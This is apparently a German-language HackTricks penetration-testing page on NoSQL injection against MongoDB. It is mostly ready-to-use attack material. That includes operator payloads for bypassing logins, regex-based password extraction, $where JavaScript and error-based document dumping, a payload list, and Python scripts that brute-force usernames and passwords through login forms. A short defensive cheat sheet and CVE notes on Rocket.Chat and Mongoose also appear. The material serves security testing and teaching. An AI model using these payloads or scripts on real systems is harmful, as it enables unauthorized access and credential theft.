NoSQL injection
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Exploit
In PHP kannst du ein Array senden, indem du den gesendeten Parameter von parameter=foo zu parameter[arrName]=foo. änderst.
Die Exploits basieren darauf, einen Operator hinzuzufügen:
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
Basic authentication bypass
Verwendung von not equal ($ne) oder greater ($gt)
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
SQL - Mongo
query = { $where: `this.username == '${username}'` }
Ein Angreifer kann dies ausnutzen, indem er Zeichenketten wie admin' || 'a'=='a eingibt, wodurch die Abfrage alle Dokumente zurückgibt, da die Bedingung durch eine Tautologie ('a'=='a') erfüllt wird. Das ist vergleichbar mit SQL injection attacks, bei denen Eingaben wie ' or 1=1-- - verwendet werden, um SQL-Abfragen zu manipulieren. In MongoDB können ähnliche Injections mit Eingaben wie ' || 1==1//, ' || 1==1%00 oder admin' || 'a'=='a durchgeführt werden.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Länge-Informationen extrahieren
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
Extrahiere Daten-Informationen
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
SQL - Mongo
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
PHP Arbitrary Function Execution
Durch die Verwendung des $func-Operators der MongoLite Bibliothek (standardmäßig verwendet) könnte es möglich sein, eine beliebige Funktion auszuführen, wie in this report.
"user":{"$func": "var_dump"}
.png)
Informationen aus einer anderen Collection abrufen
Es ist möglich, $lookup zu verwenden, um Informationen aus einer anderen Collection zu erhalten. Im folgenden Beispiel lesen wir aus einer anderen Collection namens users und erhalten die Ergebnisse aller Einträge, deren Passwort einem wildcard entspricht.
HINWEIS: $lookup und andere Aggregationsfunktionen stehen nur zur Verfügung, wenn die aggregate()-Funktion verwendet wurde, um die Suche durchzuführen, anstelle der häufiger verwendeten find()- oder findOne()-Funktionen.
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]
Error-Based Injection
Inject throw new Error(JSON.stringify(this)) in eine $where-Klausel, um vollständige Dokumente über serverseitige JavaScript-Fehler zu exfiltrieren (erfordert, dass die Anwendung Datenbankfehler leak). Beispiel:
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
Wenn die Anwendung nur das erste fehlgeschlagene Dokument leaks, halte den dump deterministisch, indem du bereits wiederhergestellte Dokumente ausschließt. Der Vergleich mit der zuletzt leaked _id ist ein einfacher Paginator:
{ "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" }
Pre-/Post-Bedingungen in syntax injection umgehen
Wenn die Anwendung den Mongo-Filter als string erstellt, bevor er geparst wird, ist syntax injection nicht mehr auf ein einzelnes Feld beschränkt und man kann oft umgebende Bedingungen neutralisieren.
Bei $where-Injektionen sind JavaScript truthy values und poison null bytes weiterhin nützlich, um nachfolgende Klauseln zu neutralisieren:
' || 1 || 'x
' || 1%00
Bei raw JSON filter injection können doppelte Schlüssel frühere Einschränkungen bei Parsern, die einer last-key-wins-Policy folgen, außer Kraft setzen:
// Original filter
{"username":"<input>","role":"user"}
// Injected value of <input>
","username":{"$ne":""},"$comment":"dup-key
// Effective filter on permissive parsers
{"username":"","username":{"$ne":""},"$comment":"dup-key","role":"user"}
Dieser Trick ist parserabhängig und gilt nur, wenn die Anwendung JSON zuerst durch String-Konkatenation/Interpolation zusammensetzt. Er gilt nicht, wenn das Backend die Query durchgehend als strukturiertes Objekt behandelt.
Kürzliche CVEs & reale Exploits (2023–2025)
Rocket.Chat unauthentifizierte Blind-NoSQLi – CVE-2023-28359
Versionen ≤ 6.0.0 exponierten die Meteor-Methode listEmojiCustom, die ein vom Benutzer kontrolliertes selector-Objekt direkt an find() weiterreichte. Durch Injizieren von Operatoren wie {"$where":"sleep(2000)||true"} konnte ein unauthentifizierter Angreifer ein timing oracle aufbauen und Dokumente exfiltrieren. Der Bug wurde in 6.0.1 behoben, indem die Form des selector validiert und gefährliche Operatoren entfernt wurden.
Mongoose populate().match search injection – CVE-2024-53900 & CVE-2025-23061
Wenn eine Anwendung vom Angreifer kontrollierte Objekte in populate({ match: ... }) weiterreicht, erlauben verwundbare Mongoose-Versionen $where-basierte search injection innerhalb des populate-Filters. CVE-2024-53900 deckte den Top-Level-Fall ab; CVE-2025-23061 behandelte einen Bypass, bei dem $where unter Operatoren wie $or verschachtelt war.
// Dangerous: attacker controls the full match object
Post.find().populate({ path: 'author', match: req.query.author });
Verwende eine allow-list und mappe Skalare explizit, anstatt das gesamte Request-Objekt weiterzugeben. Mongoose unterstützt außerdem sanitizeFilter, um verschachtelte Operator-Objekte in $eq zu kapseln, sollte jedoch als Sicherheitsnetz und nicht als Ersatz für explizites Filter-Mapping betrachtet werden:
mongoose.set('sanitizeFilter', true);
Post.find().populate({
path: 'author',
match: { email: req.query.email }
});
GraphQL → Mongo Filter-Verwirrung
Resolver, die args.filter direkt an collection.find() weitergeben, bleiben anfällig:
query users($f:UserFilter){
users(filter:$f){ _id email }
}
# variables
{ "f": { "$ne": {} } }
Gegenmaßnahmen: rekursiv Schlüssel entfernen, die mit $ beginnen, erlaubte Operatoren explizit abbilden oder mit Schema-Bibliotheken (Joi, Zod) validieren.
Verteidigungs-Cheat-Sheet (aktualisiert 2025)
- Schlüssel, die mit
$beginnen, entfernen oder ablehnen; wenn Express vor Mongo/Mongoose steht,req.body,req.queryundreq.paramsbereinigen, bevor sie das ORM erreichen. - Server-seitiges JavaScript in selbstgehostetem MongoDB deaktivieren (
--noscriptingodersecurity.javascriptEnabled: false), damit$whereund ähnliche JS-Sinks nicht verfügbar sind. - Bevorzuge
$exprund typisierte Query-Builder statt$where. - Datentypen früh validieren (Joi/Ajv/Zod) und Arrays oder Objekte verbieten, wo Skalare erwartet werden, um
[$ne]-Tricks zu vermeiden. - Bei GraphQL Filterargumente durch eine Allow-List übersetzen; niemals nicht-vertrauenswürdige Objekte per Spread-Operator in Mongo/Mongoose-Filter einfügen.
MongoDB-Payloads
List from here
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
Blind NoSQL Skript
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
Brute-force login usernames and passwords von POST login
Dies ist ein einfaches script, das du anpassen könntest, aber die vorherigen tools können diese Aufgabe auch übernehmen.
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
Werkzeuge
- https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
- https://github.com/C4l1b4n/NoSQL-Attack-Suite
- https://github.com/ImKKingshuk/StealthNoSQL
- https://github.com/Charlie-belmer/nosqli
Quellen
- https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- https://nullsweep.com/a-nosql-injection-primer-with-mongo/
- https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb
- https://sensepost.com/blog/2025/nosql-error-based-injection/
- https://nvd.nist.gov/vuln/detail/CVE-2023-28359
- https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900
- https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/
- https://mongoosejs.com/docs/6.x/docs/api/mongoose.html
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


